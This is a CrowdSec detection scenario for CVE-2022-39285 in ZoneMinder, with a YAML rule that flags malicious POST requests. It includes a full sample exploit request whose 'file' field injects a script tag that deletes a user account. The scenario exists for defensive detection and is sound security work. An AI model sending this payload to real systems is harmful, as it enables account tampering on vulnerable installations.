cscli scenarios install baudneo/zoneminder_cve-2022-39285Scenario to detect exploitation attempts of CVE-2022-39285. Basically do not allow any POST requests for index.php to have file=[XSS payload]. This is for ZM versions BEFORE 1.36.27, 1.37.24
1POST /zm/index.php HTTP/1.12Host: 10.0.10.1073Content-Length: 3774Accept: application/json, text/javascript, */*; q=0.015X-Requested-With: XMLHttpRequest6User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.367Content-Type: application/x-www-form-urlencoded; charset=UTF-88Origin: http://10.0.10.1079Referer: http://10.0.10.107/zm/10Accept-Encoding: gzip, deflate11Accept-Language: en-US,en;q=0.912Cookie: zmSkin=classic; zmCSS=base; zmBandwidth=high; ZMSESSID=rauh5oe3i2uar25eaniipq2gie13Connection: close1415__csrf_magic=key:78ee298a4593243b9ac481199d7da468bab4f044,1664675125&view=request&request=log&task=create&level=ERR&message=Trenches%20of%20IT%5Bname%5D=Chrome&browser%5Bversion%5D=101.0.4951.41&browser%5Bplatform%5D=Windows&file=http%3A%2F%2F10.0.10.107%2Fzm%2F</td></tr><script src='/zm/?view=options%26tab=users%26action=delete%26markUids%5B%5D=6%26deleteBtn=Delete'</script>&line=70
⚠️ Crowdsec is not a WAF and, as such, bypass to those signatures are likely ⚠️
1type: trigger2format: 2.03#debug: true4# file=http%3A%2F%2F10.0.10.107%2Fzm%2F</td></tr><script src='/zm/?view=options%26tab=users%26action=delete%26markUids%5B%5D=6%26deleteBtn=Delete'</script>&line=705name: baudneo/zoneminder_cve-2022-392856description: "Detect cve-2022-39285 exploitation attempts"7filter: |8 evt.Meta.log_type in ["http_access-log", "http_error-log"]9 and10 (11 ( Upper(evt.Meta.http_verb) == "POST" and12 Upper(evt.Meta.http_path) matches Upper('^(?P<path>/.*index.php)?.*(?P<file_query>file=.*</td></tr(?P<payload>.*)>)')13 )14 or15 Upper(evt.Parsed.rawrequest) matches Upper('^(?P<verb>POST) (?P<path>/.*index.php)?.*(?P<file_query>file=.*</td></tr(?P<payload>.*)>)')16 )17groupby: "evt.Meta.source_ip"18blackhole: 2m19labels:20 remediation: true21 classification:22 - attack.T159523 - attack.T119024 - cve.CVE-2022-3928525 spoofable: 026 confidence: 327 service: zoneminder28 behavior: "http:exploit"29 label: "Zoneminder CVE-2022-39285"30